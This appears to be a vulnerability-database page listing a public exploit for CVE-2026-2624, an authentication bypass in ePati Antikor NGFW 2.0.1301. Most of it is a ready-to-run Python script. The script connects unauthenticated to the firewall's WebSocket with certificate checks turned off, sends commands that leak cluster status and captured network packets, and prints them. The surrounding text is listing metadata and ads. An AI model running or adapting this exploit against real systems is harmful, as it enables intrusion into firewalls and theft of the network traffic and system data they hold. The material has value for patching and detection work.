Lucene search
K

📄 ePati Antikor NGFW 2.0.1301 Authentication Bypass

🗓️ 14 May 2026 00:00:00Reported by SADIK ERTÜRKType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 50 Views

Unauthenticated WebSocket exploit bypasses authentication in ePati Antikor NGFW 2.0.1301.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-2624
25 Feb 202612:39
attackerkb
Circl
CVE-2026-2624
25 Feb 202613:55
circl
CNNVD
ePati Cyber Security ePati Cyber u200bu200bSecurity Antikor Next Generation Firewall 访问控制错误漏洞
25 Feb 202600:00
cnnvd
CVE
CVE-2026-2624
25 Feb 202612:39
cve
Cvelist
CVE-2026-2624 Authentication Bypass in ePati's Antikor NGFW
25 Feb 202612:39
cvelist
Exploit DB
ePati Antikor NGFW 2.0.1301 - Authentication Bypass
14 May 202600:00
exploitdb
EUVD
EUVD-2026-8639
25 Feb 202615:31
euvd
NVD
CVE-2026-2624
25 Feb 202613:16
nvd
OSV
CVE-2026-2624
25 Feb 202613:16
osv
Packet Storm News
ePati Antikor NGFW 2.0.1301 Authentication Bypass
14 May 202600:00
packetstormnews
Rows per page
# Exploit Title: ePati Antikor NGFW 2.0.1301 -  Authentication Bypass 
    # Date: 2026-04-13
    # Exploit Author: [SADIK ERTÜRK]
    # Vendor Homepage: https://www.epati.com.tr/
    # Software Link: https://www.epati.com.tr/antikor-ngfw/
    # Version: v.2.0.1298 - v.2.0.1301
    # Tested on: Linux / Antikor OS
    # CVE: CVE-2026-2624
    
    import websocket
    import json
    import ssl
    import sys
    import argparse
    import random
    import string
    import time
    
    def banner():
        print("-" * 65)
        print(" ePati Antikor NGFW Unauthenticated WebSocket Exploit")
        print(" CVE-2026-2624 | Author: [SADIK ERTÜRK]")
        print("-" * 65)
    
    def generate_random_id(length=8):
        """Generates a random session ID for the SockJS connection."""
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def exploit(target_ip, target_port):
        # Generating random server and session IDs for SockJS
        server_id = random.randint(100, 999)
        session_id = generate_random_id()
        
        ws_url = f"wss://{target_ip}:{target_port}/sock/{server_id}/{session_id}/websocket"
        print(f"[*] Target WebSocket URL created: {ws_url}")
        print("[*] Connecting to the target... (Ignoring SSL certificate warnings)")
    
        try:
            # Bypassing Self-Signed SSL certificate verifications
            ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
            ws.connect(ws_url)
            print("[+] Connection Successful! (Authentication bypassed)\n")
            
            # Payload 1: Listening to Cluster and System Status
            payload_1 = json.dumps(["{\"istekId\":\"req_init_01\",\"komut\":\"rapor-dinle\",\"parametreler\":[\"cluster-durum\"]}"])
            print("[*] Sending 1st payload: 'rapor-dinle' (cluster-status)...")
            ws.send(payload_1)
    
            # Wait for the response from the server
            time.sleep(1) 
            response_1 = ws.recv()
            
            if response_1:
                print("[+] SUCCESSFUL! Sensitive system data successfully leaked:")
                print(f"> {response_1}\n")
            
            # Payload 2: Listening to Network Packets
            payload_2 = json.dumps(["{\"istekId\":\"req_101\",\"komut\":\"paket-liste-dinle\",\"parametreler\":[]}"])
            print("[*] Sending 2nd payload: 'paket-liste-dinle' (network-packet-list)...")
            ws.send(payload_2)
            
            time.sleep(1)
            response_2 = ws.recv()
            
            if response_2:
                print("[+] Network packet data captured:")
                print(f"> {response_2}\n")
    
            print("[*] Exploitation complete. Closing connection.")
            ws.close()
    
        except websocket.WebSocketException as e:
            print(f"[-] WebSocket Error: {e}")
            print("[-] The target might be patched (v.2.0.1302+) or the port is closed.")
            sys.exit(1)
        except Exception as e:
            print(f"[-] An unexpected error occurred: {e}")
            sys.exit(1)
    
    if __name__ == "__main__":
        banner()
        
        # Argument parsing
        parser = argparse.ArgumentParser(description="ePati Antikor NGFW WebSocket Auth Bypass PoC")
        parser.add_argument("-t", "--target", required=True, help="Target IP or Hostname (e.g., 192.168.1.10)")
        parser.add_argument("-p", "--port", default="8800", help="Target Port (Default: 8800)")
        
        args = parser.parse_args()
        
        exploit(args.target, args.port)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.02194
SSVC
50